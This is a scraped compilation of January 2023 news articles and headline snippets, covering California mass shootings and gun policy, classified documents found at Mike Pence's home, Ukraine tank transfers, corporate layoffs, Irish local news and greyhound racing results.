The authorities have not established a motive for the shooting, according to Capt. Eamonn Allen of the sheriffs department. Local law enforcement was working with the F.B.I. and had not uncovered a criminal history for the suspect or any records of past incidents at either crime scene, he said. The sheriff said the suspect was employed at the first shooting location, a mushroom farm, and that the signs so far pointed to a workplace-related shooting.
LOS ANGELES  California has some of the most stringent gun laws in the country, including various bans on assault-style weapons and other measures meant to keep firearms out of the hands of people who might use them to harm themselves or others.

Last year, in response to the school shooting in Uvalde, Texas, state lawmakers  urged by Gov. Gavin Newsom, an outspoken critic of gun policies in Republican-led states and at the federal level  approved a barrage of new measures.

Yet as the body count from mass shootings continues to pile up in the nations most populous state, many Californians are left asking: Why? And how?

Gun policy experts said that a national culture that accepts routine violence, combined with an inability to enforce gun controls in one state that is surrounded by others where rules are more lax, means that California will continue to grapple with public mass violence.

We are part of a culture that celebrates violence as a means of problem-solving in a country that has made firearms more available than any industrialized country ever, said Dr. Garen J. Wintemute, an emergency room doctor who directs the Violence Prevention Research Program at the University of California, Davis, Medical Center. We have no right to be surprised when these things happen.

The authorities this week said that they were still investigating where the gunman in the Monterey Park shooting, in which 11 people were killed and several others wounded, obtained weapons, and whether those weapons are banned in California. Investigators were also trying to discern whether California laws would have prevented the suspect from legally possessing guns after a 1994 arrest in which he was accused of the unlawful possession of a firearm.

Dr. Wintemute said that the complexity of Californias gun control laws and when they went into effect make determining the legality of any given persons possession of weapons difficult to resolve.

Beyond Californias borders, moves by conservative state lawmakers and the Supreme Court to roll back restrictions on gun ownership seem to be part of a broad effort to take gun policy to its logical extreme, removing essentially all controls, Dr. Wintemute said.

The responsibility to prevent mass shootings, he said, rests with ordinary Californians, who  unlike Americans in many other states  can report threats by co-workers, family members or partners under the states red flag law, which went into effect in 2016 and prevents certain people from obtaining firearms.

Were angry, were polarized, were exhausted, Dr. Wintemute said. All of us have to make a choice to step up and be a part of the solution. The only alternative is this will continue.
WASHINGTON  The back-to-back mass shootings in California have once again underscored a political reality on Capitol Hill: Even after a pair of massacres that have shaken the country, Congress is unlikely to muster a bipartisan consensus to enact any additional gun control measures in response.

At the Capitol this week, as leading Democrats have joined President Bidens call to impose new limits on access to firearms, Republicans virtually silent. The divergent reactions reflect the gulf between the two parties on the issue, even after they came together last year to push through the first major gun control legislation in decades.

Negotiators regarded that modest measure, which was aimed at keeping firearms out of the hands of dangerous people, as the furthest they could go in forging a bipartisan compromise on guns. The chances of enacting more aggressive steps, like reinstating a ban on assault weapons, now appear all but nonexistent, with Republicans not only opposed to new limits but also putting forth new proposals to protect the free flow of guns.

Its clear that the prevalence of guns in our country has made tragedies like this one too frequent, Senator Chuck Schumer, Democrat of New York and the majority leader, said on Monday, reacting to the shooting over the weekend in Monterey Park, Calif., where 11 people were killed in what police called the deadliest mass shooting in Los Angeles Countys history. While the Senate passed bipartisan gun safety legislation last year, and that was a very welcome move, more should be done.
Aides to former Vice President Mike Pence found a small number of documents with classified markings at his home in Indiana during a search last week, according to an adviser to Mr. Pence.

The documents were inadvertently boxed and transported to Mr. Pences home at the end of President Donald J. Trumps administration, Greg Jacob, Mr. Pences representative for dealing with records related to the presidency, wrote in a letter to the National Archives.

The discovery of the classified documents in Mr. Pences home was reported earlier by CNN.

The letter, dated Jan. 18, said that the former vice president was unaware of the existence of the documents and reiterated that he took seriously the handling of classified materials and wanted to help.

Mr. Jacob wrote that Mr. Pence relied on an outside lawyer after classified documents were found in recent days at the residence and former private office of President Biden. A person familiar with the search identified that lawyer as Matthew E. Morgan, who has a long history with the Pences and who worked as a lawyer on the 2020 re-election campaign. Mr. Jacob also said the lawyer could not specify anything more about the documents because the lawyer had stopped looking once it was clear the documents had classified markings.
WASHINGTON  The Pentagon is racing to boost its production of artillery shells by 500 percent within two years, pushing conventional ammunition production to levels not seen since the Korean War as it invests billions of dollars to make up for shortfalls caused by the war in Ukraine and to build up stockpiles for future conflicts.

The effort, which will involve expanding factories and bringing in new producers, is part of the most aggressive modernization effort in nearly 40 years for the U.S. defense industrial base, according to an Army report.

The new investment in artillery production is in part a concession to reality: While the Pentagon has focused on fighting wars with small numbers of more expensive precision-guided weapons, Ukraine is largely relying on howitzers firing unguided shells.

Before Russia invaded Ukraine on Feb. 24, the U.S. Armys production of 14,400 unguided shells a month had been sufficient for the American militarys way of war. But the need to supply Kyivs armed forces prompted Pentagon leaders to triple production goals in September, and then double them again in January so that they could eventually make 90,000 or more shells a month.
WASHINGTON  Harry Reid was always a force in the Senate during his long run in the Democratic leadership, but no one expected him to remain a Capitol Hill powerhouse long after he was gone.

Yet when Senate Democrats finally get down to business this week with their expanded majority, one thing that is clear is the debt of gratitude they owe to the pugilistic former Senate majority leader from Nevada who retired in 2016 and died just over a year ago.

Not only did former top aides of Mr. Reid help engineer crucial Democratic Senate wins in Pennsylvania and Nevada that allowed the party to keep its majority, but alumni of the Reid academy of politics and policy are now holding down top jobs throughout the chamber, the administration and the party apparatus. The Reid Machine, a term embraced with affection by Democrats, is far from shut down.

Harry Reids influence lives on, said Senator Chuck Schumer, the New York Democrat and majority leader and a bit of a Reid protege himself. He had many great staffers who learned so much at his side and now they are having a strong influence on America policy and politics.
A man who fatally shot three people in what was apparently a random attack at a convenience store in Yakima, Wash., early Tuesday morning later shot and killed himself after an hourslong police manhunt, the authorities said.

The gunman, Jarid Haddock, 21, took his own life before officers arrived and found him about 3:15 p.m., the authorities said.

Earlier, the Yakima Police Department had identified Mr. Haddock as the suspect in the shooting at a Circle K store on the citys east side, where they were called around 3:30 a.m. Officers found three people dead inside and outside the store, the police chief, Matthew Murray, said at a news conference on Tuesday afternoon. He said that the police did not know the motive for the killings in Yakima, a city of about 96,000 people in central Washington.

As patrons at Circle K ate their food on Tuesday morning, Mr. Haddock  who was armed, unmasked and seemingly making no attempt to conceal his identity  opened the door of the store and immediately began shooting people, Chief Murray said. Two people were killed inside the store, he said.
Fani T. Willis, the local prosecutor overseeing the investigation into efforts by former President Donald J. Trump and his allies to overturn his 2020 election loss in Georgia, asked a judge in Atlanta on Tuesday not to make public the findings of a special grand jury that heard months of testimony in the case, saying that she was mindful of protecting future defendants rights.

In a two-hour hearing before Judge Robert C.I. McBurney of Fulton County Superior Court, Ms. Willis argued that disclosing the jurys recently completed investigative report could complicate potential efforts to seek indictments.

We want to make sure that everyone is treated fairly, Ms. Willis said, and we think for future defendants to be treated fairly it is not appropriate at this time to have this report released.

Judge McBurney said he would rule on the matter at a later date. The Trump team did not send a lawyer to the hearing, but a lawyer representing a coalition of news organizations asked Judge McBurney to make the report public.
Poland has formally asked Germany for permission to transfer its Leopard 2 tanks to Ukraine, the Polish defense minister, Mariusz Blaszczak, said on Tuesday, and his German counterpart said Berlin would decide soon on whether it would send its own tanks.

We are preparing our decision, which will come very soon, the German official, Boris Pistorius, said, speaking at a news conference with Jens Stoltenberg, secretary general of NATO. We are looking into the matter, what the current status is regarding our Leopard tanks. It is not just a matter of counting our tanks  we know how many we have  its a lot more complicated than that.

It is often said that there is a lack of unity among the allies or that Germany is isolated, but that is not the case, he added.

Germanys reluctance to send Ukraine its Leopard 2s to Ukraine, or to approve the transfer of the German-made tanks from the many European countries that stock them, has frustrated some NATO allies as well as the government in Kyiv, which says that it urgently needs the equipment to stave off a potential Russian offensive.
ROME  Throughout his short life, the brown bear known as Juan Carrito always made headlines.

He was famous in Italy in part for being an Apennine brown bear, a critically endangered subspecies that lives in the Apennine Mountains, in an area straddling the Abruzzo, Lazio and Molise regions.

But he was also a personality  or at least a bear whose gluttonous excursions into human territory brought him celebrity among many Italians, and who was held up as a warning by wildlife advocates. He was mourned after his death in a car accident on Monday.

By the time he was 2, Juan Carrito had become a social media star for his daring forays into the centers of ski resorts and mountain villages, where he foraged for food and rummaged through trash cans and dumpsters.

He was an exuberant animal  I used to compare him to a sort of James Dean of bears, beautiful and damned, said Luciano Sammarone, the director of the National Park of Abruzzo, Lazio and Molise, one of the areas where the rare bears reside.
Now I think that its one of the best decisions in my life, she said in an interview, adding, All of my friends who are well-educated, if they had opportunities, they escaped, living in Germany, Turkey, Portugal  but not in Russia.

Ms. Tishchenkos heartbreak has been that she has had a falling out with her parents over Russias invasion of Ukraine. Her parents, who were born in Ukraine, believe the Kremlins version of events  that Russia is conducting a liberation operation fighting against an oppressive government in Kyiv, and winning. It is a divide that is playing out among countless families.

She said she didnt know if she would ever be able to go home to Russia and tried instead to focus on her work in Prague as part of a supportive community of people like her.

To dream about one day going home, to walk on the streets I grew up in, to play with my sisters child, thats just a dream, she said.
7 killed in another mass shooting in California

Seven people were shot to death yesterday afternoon in San Mateo County, Calif., the local sheriffs office said, the second mass shooting in the state in three days. The shooting happened around 2:20 p.m. local time at two separate locations about 30 miles south of San Francisco, the authorities said. An eighth person was at a hospital with life-threatening injuries.

A suspect, Zhao Chunli, 67, of Half Moon Bay, Calif., was found in his car in the parking lot of a sheriffs office substation, the authorities said. He was taken into custody without incident, an official said, and a semiautomatic handgun was found in his vehicle. The suspect was believed to be a worker at an agricultural nursery, one of the two shooting sites.

Several children were present when the shootings took place. The motive was unknown, and as of late Monday not all the victims had been identified, officials said.

Toll: Another victim of the earlier mass shooting in California, in a thriving Chinese American suburb of Los Angeles, died at a hospital yesterday, bringing the death toll to 11.
The authorities in Los Angeles on Tuesday released the identities of all 11 people who were killed in the mass shooting Saturday night at a ballroom in Monterey Park. Many of the victims of the attack, which occurred on the eve of Lunar New Year, were older Chinese immigrants.

The six women and five men who were fatally shot at the venue, the Star Ballroom Dance Studio, ranged in age from 57 to 76. The studio was a popular haven in Monterey Park, a Los Angeles suburb that is home to many Chinese and other Asian immigrants. It was frequented by a tight-knit community of devoted dancers who went there to take lessons, socialize and keep active.

Among those killed were the studios manager, Ming Ma. A local resident who took classes at Star Ballroom described him as a kind of community impresario, recruiting dancers to the studio, hosting karaoke nights and staging performances. Another of the victims, Hong Jian, who was known as Nancy Liu, emigrated from China more than 25 years ago and frequented Star Ballroom.

Here are the names of the victims released by the Los Angeles County Coroners Office, which has spelled them differently at various points this week:
A Bangladeshi boy can consider himself lucky to be alive after hiding in a shipping container while playing hide and seek and getting locked inside for six days.

On January 17, while unloading containers off of a Bangladeshi vessel, staff at Malaysias Port Klang were shocked to see a confused and emaciated boy step out of one of the containers. He didnt speak the local tongue so the port authorities couldnt get any information out of him, but they suspected that he was the victim of a human trafficking crime organization, so they immediately called the police. It turned out, that the young boy had been playing hide and seek with friends in his home city of Chittagong, Bangladesh and chose a shipping container as a hiding spot. He got locked inside and spent the next six days on a ship to Malaysia.

Photos and clips shot by workers at Port Klang show the scrawny boy looking confused by the unfamiliar surroundings as he steps out of the shipping container. He is later picked up by an ambulance and taken to a local hospital.

Identified only as Fahim, the boy told Malaysian investigators that he fell asleep in the shipping container while hiding from his friends, and then found himself locked in. Despite his cries for help, no one came to his rescue, so he spent six days locked inside. His container was transported by ship, almost 2,000 miles to Port Klang, Malaysia.

The boy had not eaten anything in days when he was finally able to escape his metal prison and looked emaciated. Luckily, he was stabilized at the hospital and is expected to make a full recovery. Malaysian authorities have confirmed that there is no reason to doubt the boys story and that there is no suspicion of human trafficking in this case.

Malaysia has already begun proceedings to repatriate Fahim to his home country of Bangladesh.

The Bangladeshi boy can consider himself fortunate. Shipping vessels can spend weeks, even months at sea, and without any food and water, he would have surely perished.

A couple of years ago, we featured the incredible story of a very lucky cat who survived three weeks in a container without any food and water.
Andy Tannen

Salesforce is eliminating 8,000 employees; Google 12,000; Amazon 18,000; Goldman Sachs up to 3,200. Capital One is eliminating 1,100 people and asset manager/ESG leader BlackRock is cutting 500 jobs. Most economy and investment experts are predicting some level of recession later this year. For employees, 2023 may be a tense year, despite very low unemployment overall.

Where does stakeholder capitalism align with job cuts? In 2019, the Business Roundtable released its seminal Statement on the Purpose of a Corporation, which argued that key stakeholder groups including employees, customers, suppliers and communities were as important as shareholders and that the long-term interests of all stakeholders are inseparable.

Early last year, a study conducted by academics at Harvard Law School and Tel Aviv University seemed to contest that the stakeholder approach has truly been adopted by many companies. Called Stakeholder Capitalism in the Time of Covid, the study reviewed 100 public company acquisitions with $700 billion in value during the pandemics first 20 months. The study found that these deals provided large gains for target shareholders and corporate leaders themselves. However, even though the pandemic heightened risks for stakeholders, corporate leaders negotiated little or no stakeholder protections.

In conducting the study, the professors reviewed press releases, conference call transcripts, investor and analyst presentations and media coverage of the deals and found that the acquisitions were often expected to be followed by cost-cutting, closing or relocations of facilities and offices, and risks to continued employment of some employees. Despite that, the study found that corporate leaders generally didnt bargain for employee protections, including any compensation to employees that would be fired after the acquisition. And corporate leaders also didnt negotiate for any protections to customers, suppliers, communities, the environment or other stakeholders.

In summarizing their study, the professors wrote: Those who are concerned about the effect of corporations on, say, climate change or employees should not harbor illusory hopes that corporate leaders will address such effects on their own; they should instead focus on obtaining government interventions (such as a carbon tax or employee-protecting policies.)

From my perspective working with CEOs, that conclusion is too harsh. Many CEOs are doing everything they can to improve their companys sustainability performance in the wake of climate change, and they are working with their boards and C-suites to improve their company cultures, including providing more flexibility, more paid time off for employee maternity/paternity leaves and other benefits. And many corporate leaders are working to ensure that diversity, equity and inclusion is built in as an ongoing critical company priority.

But at the end of the day (well, year), public company CEO jobs and compensation depend on delivering earnings and share price growth. And while the stakeholder capitalism movement arguably provides benefits to multiple stakeholders and the broader society, shareholders, especially in tough economic times, take priority over the other stakeholders. As CEO Satya Nadella wrote to Microsoft employees when announcing that 10,000 employees were losing their jobs, this action was needed to align our cost structure with our revenue and where we see customer demand.

***

Andy Tannen is president of Tannen Corporate Communications, a corporate reputation consultancy. Previously, he worked in corporate communications at Publicis Groupe's MSL for 28 years, with clients such as IBM, United Technologies, Roche, Honeywell, BP and many other companies.
The sterling work of Tidy Towns volunteers is to be honoured at this year's St Patrick's Day parade in Tullamore.

The official theme of the parade is " Tidy Towns-Our Community Effort - Is Feidir Linn Le Cheile"

"The St. Patrick's Day Parade is a community parade and we feel that it is a great opportunity to promote the wonderful work undertaken in the community by the Tullamore Tidy Towns Committee,' said Parade Secretary/ PRO Sean O'Bren.

He added:  Tullamore can be a winner of the National Tidy Towns title but it needs the effort of the whole community in Tullamore to achieve this. We borrowed some words from Barach Obama when he said in his speech in Dublin "Is Feidir Linn" , translated as "We can do it" and certainly we can do it together as a community.

"This is a great opportunity for all groups in Tullamore, including sports, community groups, residents associations, businesses, schools and public bodies to enter the parade and include a reference to the Tidy Towns in their entry. This year is the 40th anniversary of the parade under the current committee and it is fitting that the theme is one that the whole community can unite behind," continued Sean O' Brien

Official letters will be sent to all organisations and businesses over the coming week and organisers are asking everybody to start planning their entry as soon as possible as this year's parade will be a special one.

The parade takes place on Friday 17 March, starting at 11.30 a.m. The assembly point is the car park of the Bridge Centre and the route will be High St., Bridge St., Colmcille St., over the Kilbeggan Bridge onto Arden Road and finish at the GAA Centre. The Review Stand will be located at the junction with Harbour St. and Colmcille St.

Contact numbers for the committee are ; Sean O' Brien 086 3892854; Johnny O' Connor 087 2602487; Martin O' Connor 083 1017012 and Frankie O' Reilly 087 2287550
Planning permission has been granted for Bord na Mona for a new headquarters in Newbridge.

Kildare County Council has given the State company, which has downsized its operations in Laois and Offaly, the green light for incredible new offices off the towns Main Street.

The company has said the multi-storey building will be one of "the most energy efficient headquarters in Ireland and, it will enhance the towns main street."

The company, which is owned by taxpayers, is set to build a five-storey building with setbacks and external terrace area at the fourth floor level.

The accommodation, totaling 3,343 square metres gross floor area, includes office accommodation and all ancillary uses and staff facilities.

The access road from Main Street provides access to a new car park (with 19 car spaces) to the rear of the new office building and 92 additional car parking spaces are designated for the new office building within the overall Bord na Mona site.

According to the documents, this road will facilitate KCC's objective for a link road connection from Main Street to the Military Road/Athgarvan Road (R416), which is to to be delivered in future phases, subject to separate planning permission.

Bord na Mona has had a presence in the Newbridge for over 70 years. At present, around 240 people work at its offices in the town.

Bord na Mona, was created in 1946 by the Turf Development Act of the same year. The company began developing the peatlands of Ireland with the aim to provide economic benefit for the Midland communities and achieve security of energy supply in the 26 counties.

It now describes itself as a semi-state climate solutions company helping lead Ireland towards a climate neutral future. It has ceased peat extraction.
As the norm for this time of year the weather can play havoc with race cards leading to a loss of four days of racing early last week due to frost.

The weeks racing was packed into the weekend with postponed cards being shuffled around and fitted into either Friday or Saturday and some put back till Monday.

Some quality racing went ahead with some decent prize money being taken home along with some very classy sweepstake winners. Some fine Offaly winners added to the mix in what was another great week for racing.

Early Week Racing

One meeting that escaped the early week cancellations was Limerick on Monday where we had the first Offaly winner of the week. In an S6 350 yard sprint, Clareabbey Rebel was first home for Geashill trainer Margaret Bolton, by four lengths at 5/2, in a decent 19.10.

Friday Racing

Tralee hosted the semi-finals of one of their top events of the year, the Eric Browne Memorial AAO Kingdom Derby. Two cracking heats both won in great fashion. Sunshine Dream won the first for Brid Maunsell in 28.26, by three lengths at 2/1 fav, with the second going to prolific winner Ballymac Finn who was having his eleventh career win for local trainer Liam Dowling, in 28.54 by a neck, at even money fav. Heading into Friday's final Dowling has four of the six finalists with Ballymac Finn, Bronze, Bailey and Whispa however theyll all have to do some running to be in contention with Sunshine Dream who seems to have the early pace needed to clear this quality field. Should be a great night Friday in Tralee.

Shelbourne, quarter-finals of the A2 Dublin Cup were the four feature races on a cold night at Headquarters. Four well contested heats on a track which amazingly was not rated slow. Fastest of the four was Priceless Cathal for Paul Hennessy in 28.65 by five lengths at 6/4 fav. Other three winners were Foggy Bottom for Laurence Jones in 28.69, last weeks fastest winner Highview Stage for Anthony Rooney and Owen Sweetman in 28.79 and All Profit for Ryan Byrne in 28.83 by five lengths at even money fav. One final of note on the night, The Barking Buzz App A5 stake, the 2k first prize went to Liam ORourke as Bayonet Charge (Ballymac Bolger - Sing Dixie) won by two lengths at 4/1 in 29.14.

Saturday Racing

Limerick, quarter-finals of the Knocklong Schooling Track A1 stakes, with Strickly Paul delivering the fastest of the four heats for Pat Buckley in 28.42 by eight lengths at 5/4 fav.

Three Offaly winners in Mullingar, in an S8 350 yard sprint, another winner for Margaret Bolton as Ocean Blake was first across the whitewash in 19.74 (20 slow) by five lengths at 2/1. The other two winners were for Edenderry trainer David Hanlon, in an A3 525 Optic Xplosive won by one length in 29.91 (60 slow). In the best race of the night, an A1 contest, Carrickhill Ava stopped the clock in 29.40 (60 slow) by nine lengths at a very short 1/4 fav.

Two finals in Shelbourne Park, in the Upcoming Events AO 550 final, Toolmaker Wilde (Droopys Jet - Kilara Lizzie) came home like a train to get up on the line and win by a head in 29.64 at 3/1 with 2k going to trainer Robert Gleeson. In the final of the Talking Dogs A1 525, Run Faster (Droopys Cain - Sarista) was too strong for his rivals in 28.31 by six lengths at 7/4 with a cheque of 1.75k going to Owen McKenna. One Offaly winner on the Supporting card, in an AAO 525, Marshmello took the honours for Edenderry owner Keith Duffy in 28.64 by one length at 5/2 with Gleeson once again training.

Sunday Racing

Four Offaly winners at the matinee meeting in Mullingar, the first being in an A6 class, as Coldwater Wispa won by one length for Clara owner P.J. Cleary in 30.23 at 7/2. Next two winners were from the Jones kennels in Moneygall, Lingrawn Angie won an A5 contest in 30.12 by one length at 7/1 for Kevin Jones and Lingrawn Mona won in an A4 grade for Liam Jones in 30.31 by a head at 9/1. Also in an A4 race Horseleap Misty was first home for Sean McGuinness in the best time of the day in 29.64 by three lengths at 5/2. All race in Mullingar were rated .50 slow.

At an evening meeting in Clonmel, there was some superb racing with the highlight being the quarterfinals of the Rural Kennels Open unraced stake. Four class winners with Droopys Racer going fastest, for the second week in a row, winning this time in 28.58, by two lengths, for Northern Ireland trainer Michael Corr.

Tarsna Fern won the first heat for Geoff Parnaby 28.68, Hovex Tommy the next for Graham Holland in 28.76 while the final heat went to Hukum for the Fantasy Syndicate in 29.08. Of the twelve dogs remaining Holland has four and looks to have a very strong hand to retain this prestigious trophy he won last year with Swords Rex.

One Offaly dog went into the semifinal draw, Laughil Rocky for Mary and Paul Jennings, who was only beaten three lengths in the fastest heat in 28.58 and is certainly not without a chance of progressing on Sunday. Also in Clonmel we had the quarterfinals of the Tommy and Bridget Dunford Memorial Guys and Dolls A3 stake. Greenane Camino set the standard here when winning in 29.05 by one length. All races in Clonmel on Sunday were rated .10 slow.

Upcoming Events

Friday, final of the Eric Browne Memorial Kingdom Derby. Sunday, semifinals of the Rural Kennels Open Unraced and semifinals of the Guys and Dolls A3 stake, both in Clonmel.

Tribune Offaly dog of the week

Marshmello gets the nod this week for Edenderry owner Keith Duffy for winning an AAO contest on a Saturday night in Shelbourne which is always a difficult task in 28.64 by one length with Robert Gleeson training.

Offaly Winners

Nine Offaly winners this week. Congratulations to all involved in any way.
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The German chancellor celebrated the government's ability to evade an economic crisis or gas shortage this winter. His remarks came at the opening of a second LNG terminal in northern Germany.
TIANJIN, China (AP)  As technicians in a distant control room watch on display screens, an automated crane at one of Chinas busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene tech giant Huawei sees as its future after American sanctions crushed its smartphone brand.



The backbone of the smart terminal at the Tianjin Port, east of Beijing, is a data network built by Huawei, which is reinventing itself as a supplier for self-driving cars, factories and other industries it hopes will be less vulnerable to Washington's worsening feud with Beijing over technology and security.



The ruling Communist Party is promoting automation in industries from manufacturing to taxis to keep Chinas economy growing as the workforce ages and starts to shrink. Its managers say the smart terminal, part of Tianjin's 200-square-kilometer (77-square-mile) port, allows 200 employees to move as much cargo as 800 used to.



We believe this solution in Tianjin is the worlds most advanced, said Yue Kun, chief technology officer of Huaweis business unit for ports. We believe it can be applied to other ports.



Huawei Technologies Ltd., which makes smartphones and is the biggest global supplier of network gear for phone carriers, struggled after then-President Donald Trump cut off access to American processor chips and other technology in 2019 in a feud with Beijing about security.



Washington says Huawei is a security risk that might use its access to foreign phone networks to facilitate Chinese spying, an accusation the company denies. The United States and allies including Japan and Australia have banned or restricted use of Huawei equipment by their phone carriers.



Smartphone sales outside China collapsed after Huawei lost music, maps and other...
HELSINKI (AP)  Finlands top diplomat appeared to suggest Tuesday that the country may have to consider joining NATO without Sweden after Turkeys president cast serious doubt on the expansion of the military alliance.



We still have to evaluate the situation if it turns out that Swedens application is stalling for a long time to come, Foreign Minister Pekka Haavisto told Finnish broadcaster YLE.



His comment came a day after Turkish President Recep Tayyip Erdogan warned Sweden not to expect support for its bid for NATO membership following weekend protests in Stockholm by an anti-Islam activist and pro-Kurdish groups.



It was the first time a leading government official in either country had appeared to raise doubts about joining the alliance together. Haavisto later backpedaled, telling reporters in Parliament that his comment earlier Tuesday had been imprecise and that Finland's ambition to join NATO jointly with Sweden remained unchanged.



He said he had spoken with NATO Secretary-General Jens Stoltenberg, who had stressed to Haavisto that the military bloc would like to see the two Nordic nations join simultaneously.



But of course there have been raised concerns within NATO on how the (recent) incidents in Sweden will affect the schedule, Haavisto said.



The bid by Sweden and Finland to join NATO needs the approval of all existing NATO members, including Turkey, which has so far blocked the expansion, saying Sweden in particular needs to crack down on exiled Kurdish militants and their sympathizers.



Until now, Sweden and Finland have been committed to joining the alliance together, but Haavisto's comment to YLE raised concerns that Finland was considering proceeding without its Nordic neighbor.



We are in contact with Finland to find out what is really...
Missouri Republican Sen. Josh Hawley on Tuesday said he would introduce legislation to ban the short-form video social-media app TikTok in the United States.
HipHopDX 23 Jan 2023

Kanye West has made his first public appearance with his kids, new wife Bianca Censori and himself dining in Malibu over the..
A gunman accused of killing 7 people in another California mass shooting was arrested Monday by gun-wielding police ... and the video is just wild. Check out this footage, released by a local ABC affiliate, showing detectives pointing their guns at
The French foreign ministry said the women were handed over to the "competent judicial authorities." This is the third such large-scale repatriation, taking place under humanitarian pressure.
Poland's defense minister says Warsaw has sent a formal request for Berlin to allow the transfer of German-made Leopard 2 battle tanks to Ukraine.
The number of people confirmed dead following a mass shooting at a Chinese New Year celebration in California has risen to 11.
Newsy 28 Jan 2023

Watch VideoAt least three people were killed and four others were wounded in a shooting in California area early Saturday..
A Colombian fish trader is set to be indicted as the mastermind of last year's killing of British journalist Dom Phillips and indigenous expert Bruno Pereira.
Ukraine's deputy defense minister, responsible for supplies to troops, has resigned citing "media accusations" of corruption. Other government figures have also quit or been fired.
The sole suspect in a Chinese New Year shooting which killed 11 people at a California dance hall has been named as Huu Can Tran.
Poland's defense minister says Warsaw has sent a formal request for Berlin to allow the transfer of German-made Leopard 2 battle tanks to Ukraine. Follow DW for more.
The government has rejected calls for a trial of menopause leave for women, claiming that it could cause discrimination against men.
Ukraine has dismissed more than a dozen senior officials including governors of several major battlefield provinces in the biggest shake-up of its wartime leadership since Russia's invasion last year.
Germany has mapped out a vision of how it will work with partners on the African continent. The aid strategy stresses the need for sustainable jobs. However, there was some criticism about a lack of concrete proposals.
Zee News 26 Jan 2023

Based on the information traffic advisory by Delhi Police, certain traffic restrictions will be in place on the occasion of..
Classified documents were found at President Joe Biden's Delaware home last year; he voluntarily submitted to an FBI search of his home this month.


Two British nationals were killed while attempting a "humanitarian evacuation" from the Ukrainian town of Soledar, a family statement has said.
A teenager has been found guilty of manslaughter for stabbing an Afghan refugee to death just hours after he was sentenced for having a knife.
Poland was prepared to send tanks to Ukraine even without Germany's blessing. Officials in Warsaw said they couldn't understand the hesitation by their counterparts in Berlin as the war threatened to jump the border.
The Judiciary Committee, responding to the bungled sale of Taylor Swift concert tickets, heard the company apologize and its critics trace the problem to the industrys lack of competition.
Attorney General Merrick Garland said Monday that the Justice Department is treating the investigations into classified documents found at the homes of Joe Biden and Donald Trump the same.
More than two dozen Texas Republicans have written to President Biden requesting a meeting and urging him to reimburse Texas for its efforts to secure the border.
Polands prime minister said Monday that his country is building a coalition of nations ready to send German-made Leopard 2 tanks to Ukraine even if Germany does not give formal permission for such transfers.



Mateusz Morawiecki told reporters that Poland will seek Germanys permission, but that asking for Berlins...
Reports that Justice Department investigators on Friday seized more than a half-dozen documents, some of them classified, from President Bidens residence in Wilmington, Delaware  including documents from his time as a senator and others from his time as vice president  have shaken Washington, worrying some Democrats...
Hundreds of Afghan men staged a protest in the eastern city of Khost on Tuesday to express anger at the burning of the Koran in the Swedish capital over the weekend.
Peak time Eurostar trains are daily forced to run across the Channel with hundreds of empty seats because border police cannot process passports quick enough. About 350 out of 900 seats are normally left unsold on the first services between London, Paris and Brussels despite huge demand for the



#eurostar #channel #brexit #gwendolinecazenave #nord #stpancras #precovid #amsterdam #dutch #ebbsfleet
US President Joe Biden called Tuesday for Congress to act quickly to ban assault weapons, as California reeled from two deadly mass shootings in less than 48 hours.
Watch VideoDocuments with classified markings were discovered in former Vice President Mike Pence's Indiana home last week, his lawyer told the National Archives in a letter  the latest in a string of discoveries of confidential information in private residences.



The records "appear to be a small number of documents bearing...
Documents marked as classified were discovered at former US vice president Mike Pence's Indiana home last week, and he has turned those classified records over to the FBI, his representative said in letters seen by Reuters.
Finland's foreign minister said on Tuesday that a pause of a few weeks was needed in Finland and Sweden's talks with Turkey on their application to join the
ICE London 2023 Set to Reach Major Milestone in February

Published January 24, 2023 by Florin P

ICE London will bring together industry leaders and gaming experts while benefiting from 51,466 square meters of net space, the biggest ever.

ICE London organizer Clarion Gaming has announced the dates for the upcoming show, which is expected to set new records in 2023. The event will take place in the second week of February, starting on the 7 and concluding two days later on February 9. The highly anticipated event is expected to bring together industry leaders and trendsetters. For this purpose, it has expanded its floor space, and this year, it will benefit from 51,466 square meters of net space.

ICE London is back with High Hopes

Clarion Gaming is the event organizer, and over the years, it has turned the conference into a must-attend event for those interested in the gambling industry. In 2020, the event benefited from a 49,690 set, so the surface allotted for 2023 is slightly higher. ICE London will occupy 41 halls of the ExCeL London, so attendees will rub shoulders with celebrities without actually being in a crowded space. The remaining three halls will accommodate the iGB Affiliate London, the business sister show.

Stuart Hunter, managing director at Clarion Gaming, highlighted that this year, the entire International Conference Centre at ExCeL would be dedicated to these two events. This should convince people who had second thoughts about attending that they shouldnt miss ICE London. The event will host ICE VOX, the World Regulatory Briefing, and the International Casino Conference. Participants will meet the industrys major brands and learn about the new industry trends.

Unique Opportunities with Pitch ICE

Successful Pitch ICE applicants will enjoy special treatment, as they will receive a free pod in the Pavilion for the entire duration of the event. They will also have the chance to pitch their ideas to investors on the ICE stage, which represents a once-in-a-lifetime opportunity. This is the first time Clarion Gaming has hosted a full-sized show since the early days of the Covid-19 pandemic.

ICE London fans are happy to have the conference back in town after it was canceled in 2021. The 2022 edition was much smaller, so this is where things return to normal, and the future looks particularly bright. The event is important to the global gambling business, and everyones eyes will be fixed on London in early February. Conferences and high-level meetings will alternate content master classes, and the unique networking opportunities are the icing on the cake.
Geneva, Switzerland (PANA) - The UN Refugee Agency, UNHCR, has expressed deep concern at the escalation of brutal attacks on civilians by non-state armed groups in eastern Democratic Republic of the Congo (DRC)
Tripoli, Libya (PANA) - The Special Envoy and Ambassador of the United States to Libya, Richard Norland, Tuesday reaffirmed his country's support to the Libyan Presidential Council in its national reconciliation efforts and the progress it has made through the preparatory forums held recently
Photo: (Photo : Getty Images/Chung Sung-Jun)

Hundreds of high school students were not in class when school returned after the school district withdrew them because of residency verification checks.

More than 350 high school students from Fulton County, Georgia, were not allowed to attend class at Westlake High after the winter holiday break unless they could authenticate that they lived in the school zone.

According to Yahoo News, Westlake High is currently dealing with overcapacity issues. Thus, this is one of their ways to solve the problem. Students who were in the 9th and 10th grades were affected mainly by the removal process.

More than its building capacity

Fulton County School district sent letters to parents in November last year informing them that a redistricting policy would soon be implemented. With this, residency verification checks will be conducted.

"The main driver for this redistricting effort was the current and projected overcrowding of Westlake High School, which is more than 500 students above its building capacity," the letter emphasized.

It was explained in the letter as well that a staff analysis was made, and it revealed an enrollment pattern that is higher than usual. One of the speculations raised for overcrowding is the number of students studying at Westlake High despite not living in the correct attendance zone, 11 Alive reported.

Parents were then asked to prove residency by presenting documents, one that is property-related and two, utility-related.

